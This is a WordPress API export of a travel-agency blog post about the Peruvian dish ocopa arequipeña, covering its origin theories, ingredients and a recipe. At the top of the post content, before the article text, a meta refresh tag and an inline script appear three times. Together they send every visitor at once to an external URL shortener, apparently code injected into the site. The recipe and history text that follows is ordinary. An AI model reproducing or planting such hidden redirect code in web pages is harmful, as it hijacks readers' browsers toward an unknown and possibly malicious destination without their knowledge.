{"id":18033,"date":"2025-08-28T12:35:28","date_gmt":"2025-08-28T17:35:28","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=18033"},"modified":"2025-08-28T15:29:19","modified_gmt":"2025-08-28T20:29:19","slug":"why-ocopa-arequipena-is-a-peruvian-food-icon","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/why-ocopa-arequipena-is-a-peruvian-food-icon\/","title":{"rendered":"Why Ocopa Arequipe\u00f1a Is a Peruvian Food Icon"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>As you may know, Peruvian cuisine is wide, diverse, and most of all delicious. Every dish is just more than that: They represent tradition, history, and flavor.&nbsp;<\/p>\n\n\n\n<p>Among the typical dishes that you have already tried or you just know, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lomo-saltado-discover-one-of-the-worlds-top-dishes\/\"><strong>lomo saltado<\/strong><\/a>, rocoto relleno, ceviche, chupe de camarones, etc, this time we\u2019ll take a look at one of the most delicious starters you can try: Ocopa arequipe\u00f1a.<\/p>\n\n\n\n<p>Ocopa is an appetizer, similar to a sauce, but more hearty and creamy. Its main ingredients are milk, cheese, peanuts, Peruvian hot peppers, and native spices, such as huacatay. Normally, it is joined with boiled eggs and yellow potatoes.&nbsp;<\/p>\n\n\n\n<p>Just like many beloved dishes in Peru, ocopa has changed over time and holds a special spot in our cookbooks today.&nbsp;<\/p>\n\n\n\n<p>While Papa a la Huancaina is a symbol of Lima and Huancayo cities, ocopa proudly represents<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-the-historic-streets-of-arequipa\/\"><strong> Arequipa. <\/strong><\/a>However, we\u2019ll see some theories that suggest that this appetizer didn\u2019t originate in Arequipa. Also, we&#8217;ll take a look at a quick recipe and the best places to try it! Anyways, if you\u2019re ready, let\u2019s dive in!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Possible origin\u2026 or origins?<\/strong><\/h2>\n\n\n\n<p>There are at least two strong theories that shed light on the origins of the ocopa. The first theory dates back to inca times.<\/p>\n\n\n\n<p>&nbsp;Inca messengers, known as <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-chaski-swift-messengers-of-the-inca-empire\/\"><strong>chaskis<\/strong><\/a>. These messengers traveled long distances to deliver important messages.<\/p>\n\n\n\n<p>Also, they carried a pouch called \u201cocopa\u201d, containing chili peppers, ground peanuts, and herbs. People ground and mixed these ingredients into a nourishing paste that served as a travel snack<\/p>\n\n\n\n<p>On the other hand, now we know that ancient Peruvians used <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-fiery-hot-peppers-the-spicy-soul-of-andean-cuisine\/\"><strong>hot chili peppers<\/strong><\/a> that we call \u201caji\u201d or \u201crocoto\u201d to marinate and preserve some foods.&nbsp;<\/p>\n\n\n\n<p>Eventually, everything changed by the 19th century, after the Spanish colonization era, thanks to some important goods, such as milk, oil,&nbsp; and cheese.<\/p>\n\n\n\n<p>These elements changed the original recipe, making it creamier and smoother. Likewise, they add ocopa, a \u201cmestizo\u201d or mixed flavor, as ocopa combined traditional Andean flavors with Spanish influences<\/p>\n\n\n\n<p>Until the late 19th century, Ocopa was mostly seen as a spicy sauce that people used to enjoy during special celebrations. <\/p>\n\n\n\n<p>In 1896, Francisco Ib\u00e1\u00f1ez wrote in La mesa peruana that it featured chopped tolinas (chanque or loco), tender turnip leaves called lorito,<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/tarwi-perus-ancient-high-protein-supergrain\/\" title=\"\"> <strong>tarwi<\/strong>,<\/a> and dried or fresh shrimp heads.<\/p>\n\n\n\n<p>Over time, Ocopa changed. It now has fewer ingredients and is the tasty sauce we enjoy today. It&#8217;s typically served over boiled potatoes.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/64a23142-0baf-40e8-b9be-4b438d188c52.png?resize=697%2C465&#038;ssl=1\" alt=\"Water color style picture that shows ocopa in inca times, colony, and modern time, showing the different process of ocopa making\" class=\"wp-image-18038\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/64a23142-0baf-40e8-b9be-4b438d188c52.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/64a23142-0baf-40e8-b9be-4b438d188c52.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/64a23142-0baf-40e8-b9be-4b438d188c52.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/64a23142-0baf-40e8-b9be-4b438d188c52.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/64a23142-0baf-40e8-b9be-4b438d188c52.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/64a23142-0baf-40e8-b9be-4b438d188c52.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Is Ocopa Arequipe\u00f1a not arequipe\u00f1a?<\/strong><\/h2>\n\n\n\n<p>Although many people say ocopa is from Arequipa, there\u2019s another theory that indicates that this sauce was created in the Jun\u00edn region, by the Franciscan nuns of the Santa Rosa de Ocopa convent.<\/p>\n\n\n\n<p>The so-called <em>\u201cArequipe\u00f1a Ocopa\u201d<\/em> was actually born in Huancayo, when an Arequipe\u00f1a woman sold ocopa with huacatay to workers building the Central Railway (<em>Ferrocarril Central<\/em>, also known as <em>El Tren Macho<\/em>) around 1871. The workers began calling it <em>\u201cOcopa de la Arequipe\u00f1a.\u201d<\/em><\/p>\n\n\n\n<p>By contrast, the original ocopa from the convent is much older, dating back to the time of the Spanish arrival in Peru. That\u2019s why there are at least two types of ocopa:<\/p>\n\n\n\n<p><strong>Ocopa<\/strong> \u2013 Created in the Jun\u00edn region, province of Huancayo, by the nuns of the Santa Rosa de Ocopa convent.<\/p>\n\n\n\n<p><strong>Arequipe\u00f1a Ocopa<\/strong> \u2013 Also created in Huancayo, Jun\u00edn, by an Arequipe\u00f1a woman who adapted the dish for railway workers.<\/p>\n\n\n\n<p>Just as<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-pisco-and-pisco-route-in-ica\/\"> <strong>Pisco<\/strong><\/a> is not Chilean but from the port of Pisco in Peru, Ocopa is not originally from Arequipa, but from the Ocopa convent in Huancayo, Jun\u00edn.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Why Peruvians love Ocopa<\/strong><\/h2>\n\n\n\n<p>This appetizer can taste different depending on the region and the cook&#8217;s personal style. For example, chef Eduardo Sernaque suggests using <em>huacatay<\/em> sparingly, as its strong flavor may not suit everyone.<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-magic-of-huacatay-perus-unique-andean-herb\/\"><strong>Huacatay <\/strong><\/a>is a native Peruvian herb from the Andes. It has a strong flavor that mixes mint and basil. Peruvians have used it for centuries in their cooking.<\/p>\n\n\n\n<p>&nbsp;In Arequipa, Ocopa tends to be less green than in other places. He emphasizes that aj\u00ed mirasol gives it a unique flavor and aroma.&nbsp;<\/p>\n\n\n\n<p>Other key ingredients include garlic, seedless yellow chili, and queso paria, a fresh cheese from southern Peru.&nbsp;<\/p>\n\n\n\n<p>Galletas de animalito add sweetness, while finely ground toasted peanuts, evaporated milk, salt, and sugar round out the mix.<\/p>\n\n\n\n<p>In Arequipa, ocopa it\u2019s served with potatoes, especially the ones that people call<span style=\"box-sizing: border-box; margin: 0px; padding: 0px;\">&nbsp;<\/span>canchan (known for its pink skin), for the perfect flavor and texture. If you want to try something different, feel free to swap peanuts for walnuts or pecans!<\/p>\n\n\n\n<p>Today, ocopa flavor has evolved and beautifully blends with Peru\u2019s diverse regional cuisines and the preferences of our guests.<\/p>\n\n\n\n<p>For example, some people enjoy it creamy and rich, while others prefer a lighter, denser version. Some like to use a batan, while many find that a regular blender works just as well.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/GYLVFAJXVZDE5FDIKFWU3KYKO4.png?resize=697%2C392&#038;ssl=1\" alt=\"Old picantera lady making some ocopa using batan and mano. The resulting sauce is creamy yellow and smooth.\" class=\"wp-image-18039\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/GYLVFAJXVZDE5FDIKFWU3KYKO4.png?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/GYLVFAJXVZDE5FDIKFWU3KYKO4.png?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/GYLVFAJXVZDE5FDIKFWU3KYKO4.png?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/GYLVFAJXVZDE5FDIKFWU3KYKO4.png?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/GYLVFAJXVZDE5FDIKFWU3KYKO4.png?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/GYLVFAJXVZDE5FDIKFWU3KYKO4.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A &#8220;picantera&#8221; in the making of ocopa Arequipe\u00f1a.<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A quick recipe<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Main Ingredients<\/strong><\/h3>\n\n\n\n<p><strong>Huacatay<\/strong> \u2013 An Andean aromatic herb that gives ocopa its distinctive flavor, balancing the heat of the chilies.<\/p>\n\n\n\n<p><strong>Yellow Chili Peppers (Aj\u00ed Amarillo)<\/strong> \u2013 A key ingredient that provides color and characteristic flavor. People deseed it to reduce spiciness.<\/p>\n\n\n\n<p><strong>Aj\u00ed Mirasol<\/strong> \u2013 A dried version of yellow chili pepper, adding depth of flavor and additional color. It is usually used as a paste or blended.<\/p>\n\n\n\n<p><strong>Fresh Cheese<\/strong> \u2013 Typically Andean cheeses like serrano or paria, though other fresh cheeses can be used. It adds creaminess and softens the spiciness.<\/p>\n\n\n\n<p><strong>Toasted Peanuts<\/strong> \u2013 Ground peanuts contribute a rich texture and nutty flavor.<\/p>\n\n\n\n<p><strong>Evaporated Milk<\/strong> \u2013 A classic component that gives body and creaminess to the sauce.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"450\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/ocopa_arequipena_11450_paso_0_600.jpg?resize=600%2C450&#038;ssl=1\" alt=\"Ocopa main ingredients, onion, huacatay, cheese, garlic, peanuts, and aji\" class=\"wp-image-18037\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/ocopa_arequipena_11450_paso_0_600.jpg?w=600&amp;ssl=1 600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/ocopa_arequipena_11450_paso_0_600.jpg?resize=300%2C225&amp;ssl=1 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Other Ingredients<\/strong><\/h3>\n\n\n\n<p><strong>Oil<\/strong> \u2013 For saut\u00e9ing the peppers, onion, garlic, and huacatay.<\/p>\n\n\n\n<p><strong>Plain Crackers (Water Crackers)<\/strong> \u2013 Help thicken the sauce without altering its flavor.<\/p>\n\n\n\n<p><strong>Red Onion<\/strong> \u2013 Adds sweetness and complexity.<\/p>\n\n\n\n<p><strong>Garlic<\/strong> \u2013 Provides aromatic depth.<\/p>\n\n\n\n<p><strong>Salt<\/strong> \u2013 Adjusts overall flavor.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Traditional Preparation: Bat\u00e1n and Blender<\/strong><\/h3>\n\n\n\n<p>Traditionally, ocopa was prepared using a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-peruvian-batan-the-stone-heart-of-andean-flavor\/\"><strong><em>bat\u00e1n<\/em><\/strong><strong> (a grinding stone)<\/strong><\/a>, which required effort and patience. Today, a blender is more commonly used, ensuring a smoother texture.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=697%2C697&#038;ssl=1\" alt=\"A closer look to the batan or andean blender, the cook is making some ocopa at that moment\" class=\"wp-image-17869\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?resize=1536%2C1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/469586012_18284241385244466_3855089448872858887_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>The batan, or Andean rock blender, is perfect for making fresh ocopa.<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Step-by-Step Process<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Saut\u00e9ing the Ingredients<\/strong><\/h3>\n\n\n\n<p>In a hot pan with oil, lightly fry the deseeded yellow chili peppers, garlic, onion, and huacatay leaves for about five minutes to enhance their flavors.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Blending and Adjusting Texture<\/strong><\/h3>\n\n\n\n<p>Transfer the saut\u00e9ed mixture to a blender.<\/p>\n\n\n\n<p>Add evaporated milk, aj\u00ed mirasol paste, crackers, toasted peanuts, and fresh cheese.<\/p>\n\n\n\n<p>Blend until smooth and creamy. Adjust the amount of milk to achieve the right consistency\u2014neither too thick nor too runny.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Presentation of the Dish<\/strong><\/h3>\n\n\n\n<p>Ocopa is traditionally served over slices of boiled potatoes (<em>papa sancochada<\/em>). The dish is completed with:<\/p>\n\n\n\n<p>A bed of fresh lettuce leaves<\/p>\n\n\n\n<p>Slices of hard-boiled egg<\/p>\n\n\n\n<p>Black olives<\/p>\n\n\n\n<p>The arrangement of these elements enhances both the visual appeal and the tasting experience.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"391\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/60cb6fc65ca9e55d851ac523.jpg?resize=697%2C391&#038;ssl=1\" alt=\"The final result is freshly amde ocopa, yellow, bright and creamy accompanied with olive, eggs, potatoes, and lettuce and tomato salad\" class=\"wp-image-17868\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/60cb6fc65ca9e55d851ac523.jpg?w=873&amp;ssl=1 873w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/60cb6fc65ca9e55d851ac523.jpg?resize=300%2C168&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/60cb6fc65ca9e55d851ac523.jpg?resize=768%2C431&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>The final result<\/strong>.<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Peruvian\u2019s favorite starter<\/strong><\/h2>\n\n\n\n<p>We hope that now you know why ocopa is the Peruvians&#8217; favorite starter. This dish has just too much history and tradition, just like our people, especially for <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipa-gastronomy-a-guide-to-the-best-dishes\/\"><strong>Arequipa\u2019s gastronomy.<\/strong><\/a><\/p>\n\n\n\n<p>However, you may be wondering\u2026 if this dish is so cool, where can I try it? Well, Andean cuisine hubs called \u201cpicanterias\u201d are the perfect place to try ocopa, and more traditional dishes such as guinea pig, adobo, or sip some chicha de jora, and maybe a pisco sour.<\/p>\n\n\n\n<p>Finally, we hope you can try at home (or even better if you come to Peru)&nbsp; a well-made ocopa, a simple, but loved starter that Peruvians love.<\/p>\n\n\n\n<p>To learn more about Peruvian cuisine, traditions, tales, and the best tips, please stay tuned to our blog! Likewise, Viagens Machu Picchu invites you to discover the best of Peru and its destinations.<\/p>\n\n\n\n<p>Feel free to <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>contact us<\/strong><\/a>, so our specialists can give you details about our tailor-made tours, best deals, and promotions! The adventure in Peru awaits, don\u2019t be late!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ocopa, a beloved Peruvian starter, combines Inca traditions, Spanish influence, and Andean herbs like huacatay. Though linked to Arequipa, its roots trace to Jun\u00edn\u2019s convents. Today, it\u2019s a creamy peanut-and-chili sauce served over potatoes, rich in history.<\/p>\n","protected":false},"author":1,"featured_media":18035,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[202,1850,3495],"tags":[3211,1914,1900,3084,3368,3397,6091,1267,1261,6049,5204,1145,944,1891,1932,2845,3401,5638,6089,6090],"class_list":["post-18033","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arequipa","category-food","category-peruvian-flavors","tag-19th-century","tag-boiled-eggs","tag-chicha-de-jora","tag-chili-peppers","tag-chupe-de-camarones","tag-fresh-cheese","tag-garlic-onion","tag-guinea-pig","tag-lomo-saltado","tag-ocopa-arequipena","tag-papa-a-la-huancaina-2","tag-peruvian-food","tag-pisco-sour","tag-red-onion","tag-rocoto-relleno","tag-served-with-potatoes","tag-typical-dishes","tag-unique-flavor","tag-yellow-chilis","tag-yellow-potato"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/Ocopa-2-2048x1368-1.jpg?fit=2048%2C1368&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4GR","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18033","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=18033"}],"version-history":[{"count":5,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18033\/revisions"}],"predecessor-version":[{"id":18064,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18033\/revisions\/18064"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/18035"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=18033"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=18033"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=18033"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}